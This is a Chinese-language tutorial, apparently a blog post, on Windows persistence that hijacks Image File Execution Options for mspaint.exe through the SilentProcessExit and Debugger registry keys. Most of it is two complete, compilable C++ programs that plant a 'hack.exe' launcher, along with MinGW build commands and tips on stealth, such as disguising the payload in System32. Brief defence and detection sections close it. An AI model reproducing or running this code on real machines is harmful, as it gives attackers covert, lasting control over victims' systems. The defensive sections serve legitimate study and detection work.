利用windows自带的画图软件(mspaint.exe)进行权限维持
字数 1281 2025-08-24 07:48:34
Windows权限维持技术:利用图像文件执行选项(IFEO)实现持久化
一、IFEO技术概述
图像文件执行选项(Image File Execution Options, IFEO)是Windows提供的一种机制,主要用于开发调试目的。它允许开发人员将调试器附加到应用程序或进程上,使调试器/应用程序能够与被调试的应用程序同时运行。
恶意软件可以利用IFEO实现权限维持,通过以下两种方式:
- 静默进程退出监控(SilentProcessExit)
- 调试器劫持(Debugger)
二、静默进程退出监控技术
1. 技术原理
当目标进程通过以下方式终止时,可以触发恶意程序的执行:
- 进程自我调用ExitProcess终止
- 其他进程调用TerminateProcess终止目标进程
2. 注册表配置
需要修改以下注册表项:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<目标进程>
关键值:
GlobalFlag: 启用静默进程退出监控功能(值为512)ReportingMode: 设置报告模式(通常设为1)MonitorProcess: 指定要执行的恶意程序路径
3. 实现代码示例
/* pers.cpp - 通过IFEO(GlobalFlag)实现Windows持久化 */
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
DWORD gF = 512;
DWORD rM = 1;
// 目标进程
const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";
const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";
const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";
// 设置GlobalFlag
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE,
NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD,
(const BYTE*)&gF, sizeof(gF));
RegCloseKey(hkey);
}
// 设置SilentProcessExit
res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE,
NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD,
(const BYTE*)&rM, sizeof(rM));
RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
4. 工作流程
- 当目标进程(mspaint.exe)启动时,系统会检查IFEO注册表项
- 如果设置了GlobalFlag=512,系统会监控该进程的退出
- 当进程静默退出时,Windows错误报告进程(WerFault.exe)会启动
- WerFault.exe作为父进程执行MonitorProcess指定的恶意程序
三、调试器劫持技术
1. 技术原理
通过在IFEO注册表项中设置Debugger键值,可以指定一个调试器程序。当目标进程启动时,系统会首先启动指定的"调试器"程序。
2. 注册表配置
需要修改以下注册表项:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<目标进程>
关键值:
Debugger: 指定要执行的恶意程序路径
3. 实现代码示例
/* pers2.cpp - 通过IFEO(Debugger)实现Windows持久化 */
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// 目标进程
const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";
const char* exe = "hack.exe";
// 设置Debugger
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE,
NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
RegSetValueEx(hkey, (LPCSTR)"Debugger", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
4. 工作流程
- 当目标进程(mspaint.exe)启动时,系统会检查IFEO注册表项
- 如果设置了Debugger键,系统会先启动指定的"调试器"程序
- 恶意程序获得执行权限
四、实际应用注意事项
- 权限要求:修改HKLM注册表项需要管理员权限
- 目标选择:应选择常用但不会频繁启动的程序(如mspaint.exe)
- 隐蔽性:恶意程序最好放在System32目录下,看起来像系统文件
- 持久性验证:修改注册表后,应测试目标进程启动是否确实触发了恶意程序
五、防御措施
- 注册表监控:监控IFEO相关注册表项的修改
- 进程监控:检查异常父进程(如WerFault.exe启动非系统程序)
- 权限控制:限制对HKLM注册表项的写入权限
- 安全软件:使用能够检测此类持久化技术的安全产品
六、实际案例
APT29等高级持续性威胁组织以及SUNBURST等恶意软件在野外攻击中曾使用过此类权限维持技术。
七、编译说明
使用MinGW编译恶意程序和持久化工具:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
八、检测与验证
- 检查注册表:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s
- 测试目标进程启动和退出行为
通过以上技术分析,我们可以全面了解利用Windows IFEO机制实现权限维持的原理和实现方法,以及相应的防御措施。